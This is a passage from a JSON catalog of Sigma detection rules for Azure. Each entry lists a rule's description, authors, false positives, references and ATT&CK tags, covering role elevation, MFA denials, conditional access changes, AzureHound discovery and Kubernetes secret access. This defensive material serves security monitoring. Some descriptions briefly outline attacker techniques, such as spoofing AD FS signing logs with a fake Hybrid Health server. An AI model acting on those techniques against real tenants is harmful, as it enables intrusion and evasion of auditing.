Subscriptions.\nThis change should be investigated immediately if it isn't planned.\nThis setting could allow an attacker access to Azure subscriptions in your environment.\n", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/11/26", "falsepositive": [ "If this was approved by System Administrator." ], "filename": "azure_subscription_permissions_elevation_via_activitylogs.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftauthorization", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_subscription_permissions_elevation_via_activitylogs.yml" ], "tags": [ "attack.initial_access", "attack.t1078.004" ] }, "related": [ { "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "09438caa-07b1-4870-8405-1dbafe3dad95", "value": "Azure Subscription Permission Elevation Via ActivityLogs" }, { "description": "Identifies when a Firewall Rule Configuration is Modified or Deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/08", "falsepositive": [ "Firewall Rule Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Firewall Rule Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_network_firewall_rule_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_firewall_rule_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "2a7d64cf-81fa-4daf-ab1b-ab80b789c067", "value": "Azure Firewall Rule Configuration Modified or Deleted" }, { "description": "Detects when a Azure Kubernetes Cluster is created or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/07", "falsepositive": [ "Kubernetes cluster being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Kubernetes cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_kubernetes_cluster_created_or_deleted.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cluster_created_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "9541f321-7cba-4b43-80fc-fbd1fb922808", "value": "Azure Kubernetes Cluster Created or Deleted" }, { "description": "Detects when a user is removed from a privileged role. Bulk changes should be investigated.", "meta": { "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", "creation_date": "2022/08/05", "falsepositive": [ "Legtimate administrator actions of removing members from a role" ], "filename": "azure_priviledged_role_assignment_bulk_change.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_priviledged_role_assignment_bulk_change.yml" ], "tags": [ "attack.persistence", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "102e11e3-2db5-4c9e-bc26-357d42585d21", "value": "Bulk Deletion Changes To Privileged Account Permissions" }, { "description": "Identifies when a network security configuration is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/08", "falsepositive": [ "Network Security Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Network Security Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_network_security_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_security_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "d22b4df4-5a67-4859-a578-8c9a0b5af9df", "value": "Azure Network Security Configuration Modified or Deleted" }, { "description": "Detects when a user is added to a privileged role.", "meta": { "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", "creation_date": "2022/08/06", "falsepositive": [ "Legtimate administrator actions of adding members from a role" ], "filename": "azure_priviledged_role_assignment_add.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_priviledged_role_assignment_add.yml" ], "tags": [ "attack.persistence", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "49a268a4-72f4-4e38-8a7b-885be690c5b5", "value": "User Added To Privilege Role" }, { "description": "Number of VM creations or deployment activities occur in Azure via the azureactivity log.", "meta": { "author": "sawwinnnaung", "creation_date": "2020/05/07", "falsepositive": [ "Valid change" ], "filename": "azure_creating_number_of_resources_detection.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Creating_Anomalous_Number_Of_Resources_detection.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_creating_number_of_resources_detection.yml" ], "tags": [ "attack.persistence", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d2d901db-7a75-45a1-bc39-0cbf00812192", "value": "Number Of Resource Creation Or Deployment Activities" }, { "description": "Detects when successful sign-ins increased by 10% or greater.", "meta": { "author": "Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton", "creation_date": "2022/08/11", "falsepositive": [ "Increase of users in the environment" ], "filename": "azure_ad_auth_sucess_increase.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-for-successful-unusual-sign-ins", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_auth_sucess_increase.yml" ], "tags": [ "attack.defense_evasion", "attack.t1078" ] }, "uuid": "67d5f8fc-8325-44e4-8f5f-7c0ac07cb5ae", "value": "Measurable Increase Of Successful Authentications" }, { "description": "Detect successful authentications from countries you do not operate out of.", "meta": { "author": "MikeDuddington, '@dudders1'", "creation_date": "2022/07/28", "falsepositive": [ "If this was approved by System Administrator." ], "filename": "azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_authentications_from_countries_you_do_not_operate_out_of.yml" ], "tags": [ "attack.t1078" ] }, "uuid": "8c944ecb-6970-4541-8496-be554b8e2846", "value": "Successful Authentications From Countries You Do Not Operate Out Of" }, { "description": "Identifies when a virtual network device is being modified or deleted.\nThis can be a network interface, network virtual appliance, virtual hub, or virtual router.\n", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/08", "falsepositive": [ "Virtual Network Device being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Virtual Network Device modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_network_virtual_device_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_virtual_device_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "15ef3fac-f0f0-4dc4-ada0-660aa72980b3", "value": "Azure Virtual Network Device Modified or Deleted" }, { "description": "Identifies when a Firewall Policy is Modified or Deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/02", "falsepositive": [ "Firewall Policy being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Firewall Policy modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_network_firewall_policy_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_firewall_policy_modified_or_deleted.yml" ], "tags": [ "attack.impact", "attack.defense_evasion", "attack.t1562.007" ] }, "related": [ { "dest-uuid": "77532a55-c283-4cd2-bc5d-2d0b65e9d88c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "83c17918-746e-4bd9-920b-8e098bf88c23", "value": "Azure Network Firewall Policy Modified or Deleted" }, { "description": "Identifies when a service principal was removed in Azure.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/03", "falsepositive": [ "Service principal being removed may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Service principal removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_service_principal_removed.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_service_principal_removed.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "448fd1ea-2116-4c62-9cde-a92d120e0f08", "value": "Azure Service Principal Removed" }, { "description": "Monitor and alert for device registration or join events where MFA was not performed.", "meta": { "author": "Michael Epping, '@mepples21'", "creation_date": "2022/06/28", "falsepositive": [ "Unknown" ], "filename": "azure_ad_device_registration_or_join_without_mfa.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-registrations-and-joins-outside-policy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_device_registration_or_join_without_mfa.yml" ], "tags": [ "attack.defense_evasion", "attack.t1078" ] }, "uuid": "5afa454e-030c-4ab4-9253-a90aa7fcc581", "value": "Device Registration or Join Without MFA" }, { "description": "Identifies when a new cloudshell is created inside of Azure portal.", "meta": { "author": "Austin Songer", "creation_date": "2021/09/21", "falsepositive": [ "A new cloudshell may be created by a system administrator." ], "filename": "azure_new_cloudshell_created.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_new_cloudshell_created.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "72af37e2-ec32-47dc-992b-bc288a2708cb", "value": "Azure New CloudShell Created" }, { "description": "Identifies when a application credential is modified.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/02", "falsepositive": [ "Application credential added may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Application credential added from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_app_credential_modification.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://www.cloud-architekt.net/auditing-of-msi-and-service-principals/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_credential_modification.yml" ], "tags": [ "attack.impact" ] }, "uuid": "cdeef967-f9a1-4375-90ee-6978c5f23974", "value": "Azure Application Credential Modified" }, { "description": "Detects when an application is granted delegated or app role permissions for Microsoft Graph, Exchange, Sharepoint, or Azure AD", "meta": { "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", "creation_date": "2022/07/10", "falsepositive": [ "When the permission is legitimately needed for the app" ], "filename": "azure_app_permissions_msft.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_permissions_msft.yml" ], "tags": [ "attack.privilege_escalation" ] }, "uuid": "c1d147ae-a951-48e5-8b41-dcd0170c7213", "value": "App Granted Microsoft Permissions" }, { "description": "Monitor and alert on conditional access changes where non approved actor removed CA Policy.", "meta": { "author": "Corissa Koopmans, '@corissalea'", "creation_date": "2022/07/19", "falsepositive": [ "Misconfigured role permissions", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." ], "filename": "azure_aad_secops_ca_policy_removedby_bad_actor.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_ca_policy_removedby_bad_actor.yml" ], "tags": [ "attack.defense_evasion", "attack.t1548" ] }, "related": [ { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "26e7c5e2-6545-481e-b7e6-050143459635", "value": "CA Policy Removed by Non Approved Actor" }, { "description": "This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant.\nA threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs.\nThe health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", "creation_date": "2021/08/26", "falsepositive": [ "Legitimate AAD Health AD FS service instances being deleted in a tenant" ], "filename": "azure_aadhybridhealth_adfs_service_delete.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://o365blog.com/post/hybridhealthagent/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aadhybridhealth_adfs_service_delete.yml" ], "tags": [ "attack.defense_evasion", "attack.t1578.003" ] }, "related": [ { "dest-uuid": "70857657-bd0b-4695-ad3e-b13f92cac1b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "48739819-8230-4ee3-a8ea-e0289d1fb0ff", "value": "Azure Active Directory Hybrid Health AD FS Service Delete" }, { "description": "Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions", "meta": { "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", "creation_date": "2022/07/28", "falsepositive": [ "When the permission is legitimately needed for the app" ], "filename": "azure_app_privileged_permissions.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_privileged_permissions.yml" ], "tags": [ "attack.privilege_escalation" ] }, "uuid": "5aecf3d5-f8a0-48e7-99be-3a759df7358f", "value": "App Granted Privileged Delegated Or App Permissions" }, { "description": "Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.", "meta": { "author": "Austin Songer", "creation_date": "2021/08/16", "falsepositive": [ "Suppression Rule being created may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Suppression Rule created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_suppression_rule_created.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_suppression_rule_created.yml" ], "tags": [ "attack.impact" ] }, "uuid": "92cc3e5d-eb57-419d-8c16-5c63f325a401", "value": "Azure Suppression Rule Created" }, { "description": "Monitor and alert on conditional access changes.", "meta": { "author": "Corissa Koopmans, '@corissalea'", "creation_date": "2022/07/18", "falsepositive": [ "Misconfigured role permissions", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." ], "filename": "azure_aad_secops_new_ca_policy_addedby_bad_actor.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_new_ca_policy_addedby_bad_actor.yml" ], "tags": [ "attack.defense_evasion", "attack.t1548" ] }, "related": [ { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0922467f-db53-4348-b7bf-dee8d0d348c6", "value": "New CA Policy by Non-approved Actor" }, { "description": "Detects AzureHound (A BloodHound data collector for Microsoft Azure) activity via the default User-Agent that is used during its operation after successful authentication.", "meta": { "author": "Janantha Marasinghe", "creation_date": "2022/11/27", "falsepositive": [ "Unknown" ], "filename": "azure_ad_azurehound_discovery.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://github.com/BloodHoundAD/AzureHound", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_azurehound_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1087.004", "attack.t1526" ] }, "related": [ { "dest-uuid": "8f104855-e5b7-4077-b1f5-bc3103b41abe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "e24fcba8-2557-4442-a139-1ee2f2e784db", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "35b781cc-1a08-4a5a-80af-42fd7c315c6b", "value": "Discovery Using AzureHound" }, { "description": "Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare \"old\" vs \"new\" value.", "meta": { "author": "Corissa Koopmans, '@corissalea'", "creation_date": "2022/07/19", "falsepositive": [ "Misconfigured role permissions", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." ], "filename": "azure_aad_secops_ca_policy_updatedby_bad_actor.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_ca_policy_updatedby_bad_actor.yml" ], "tags": [ "attack.defense_evasion", "attack.t1548" ] }, "related": [ { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "50a3c7aa-ec29-44a4-92c1-fce229eef6fc", "value": "CA Policy Updated by Non Approved Actor" }, { "description": "Identifies user account which has been locked because the user tried to sign in too many times with an incorrect user ID or password.", "meta": { "author": "AlertIQ", "creation_date": "2021/10/10", "falsepositive": [ "Unknown" ], "filename": "azure_account_lockout.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_account_lockout.yml" ], "tags": [ "attack.credential_access", "attack.t1110" ] }, "uuid": "2b7d6fc0-71ac-4cf7-8ed1-b5788ee5257a", "value": "Account Lockout" }, { "description": "Detects when changes are made to PIM roles", "meta": { "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", "creation_date": "2022/08/09", "falsepositive": [ "Legit administrative PIM setting configuration changes" ], "filename": "azure_pim_change_settings.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_change_settings.yml" ], "tags": [ "attack.privilege_escalation", "attack.defense_evasion", "attack.t1078.004" ] }, "related": [ { "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "db6c06c4-bf3b-421c-aa88-15672b88c743", "value": "Changes To PIM Settings" }, { "description": "Monitor and alert for users added to device admin roles.", "meta": { "author": "Michael Epping, '@mepples21'", "creation_date": "2022/06/28", "falsepositive": [ "Unknown" ], "filename": "azure_ad_users_added_to_device_admin_roles.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-administrator-roles", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_users_added_to_device_admin_roles.yml" ], "tags": [ "attack.defense_evasion", "attack.t1078" ] }, "uuid": "11c767ae-500b-423b-bae3-b234450736ed", "value": "Users Added to Global or Device Admin Roles" }, { "description": "This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service.\nA threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server.\nThis can be done programmatically via HTTP requests to Azure.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", "creation_date": "2021/08/26", "falsepositive": [ "Legitimate AD FS servers added to an AAD Health AD FS service instance" ], "filename": "azure_aadhybridhealth_adfs_new_server.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://o365blog.com/post/hybridhealthagent/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aadhybridhealth_adfs_new_server.yml" ], "tags": [ "attack.defense_evasion", "attack.t1578" ] }, "related": [ { "dest-uuid": "144e007b-e638-431d-a894-45d90c54ab90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "288a39fc-4914-4831-9ada-270e9dc12cb4", "value": "Azure Active Directory Hybrid Health AD FS New Server" }, { "description": "Monitor and alert for Sign-ins by unknown devices from non-Trusted locations.", "meta": { "author": "Michael Epping, '@mepples21'", "creation_date": "2022/06/28", "falsepositive": [ "Unknown" ], "filename": "azure_ad_sign_ins_from_unknown_devices.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#non-compliant-device-sign-in", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_sign_ins_from_unknown_devices.yml" ], "tags": [ "attack.defense_evasion", "attack.t1078" ] }, "uuid": "4d136857-6a1a-432a-82fc-5dd497ee5e7c", "value": "Sign-ins by Unknown Devices" }, { "description": "Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge.", "meta": { "author": "AlertIQ", "creation_date": "2021/10/10", "falsepositive": [ "Unknown" ], "filename": "azure_mfa_interrupted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_interrupted.yml" ], "tags": [ "attack.initial_access", "attack.t1078.004" ] }, "related": [ { "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5496ff55-42ec-4369-81cb-00f417029e25", "value": "Multifactor Authentication Interrupted" }, { "description": "Detects the change of user type from \"Guest\" to \"Member\" for potential elevation of privilege.", "meta": { "author": "MikeDuddington, '@dudders1'", "creation_date": "2022/06/30", "falsepositive": [ "If this was approved by System Administrator." ], "filename": "azure_guest_to_member.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_guest_to_member.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1078.004" ] }, "related": [ { "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8dee7a0d-43fd-4b3c-8cd1-605e189d195e", "value": "User State Changed From Guest To Member" }, { "description": "Identifies when a owner is was removed from a application or service principal in Azure.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/03", "falsepositive": [ "Owner being removed may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Owner removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_owner_removed_from_application_or_service_principal.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_owner_removed_from_application_or_service_principal.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "636e30d5-3736-42ea-96b1-e6e2f8429fd6", "value": "Azure Owner Removed From Application or Service Principal" }, { "description": "User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account.", "meta": { "author": "AlertIQ", "creation_date": "2022/03/24", "falsepositive": [ "Users actually login but miss-click into the Deny button when MFA prompt." ], "filename": "azure_mfa_denies.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_denies.yml" ], "tags": [ "attack.initial_access", "attack.t1078.004" ] }, "related": [ { "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e40f4962-b02b-4192-9bfe-245f7ece1f99", "value": "Multifactor Authentication Denied" }, { "description": "Detects when PIM alerts are set to disabled.", "meta": { "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", "creation_date": "2022/08/09", "falsepositive": [ "Administrator disabling PIM alerts as an active choice." ], "filename": "azure_pim_alerts_disabled.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_alerts_disabled.yml" ], "tags": [ "attack.defense_evasion", "attack.t1484" ] }, "related": [ { "dest-uuid": "ebb42bbe-62d7-47d7-a55f-3b08b61d792d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aeaef14c-e5bf-4690-a9c8-835caad458bd", "value": "PIM Alert Setting Changes To Disabled" }, { "description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.", "meta": { "author": "sawwinnnaung", "creation_date": "2020/05/07", "falsepositive": [ "Valid change" ], "filename": "azure_granting_permission_detection.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Granting_Permissions_To_Account_detection.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_granting_permission_detection.yml" ], "tags": [ "attack.persistence", "attack.t1098.003" ] }, "related": [ { "dest-uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a622fcd2-4b5a-436a-b8a2-a4171161833c", "value": "Granting Of Permissions To An Account" }, { "description": "Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/07", "falsepositive": [ "Sensitive objects may be accessed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Sensitive objects accessed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_kubernetes_secret_or_config_object_access.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ 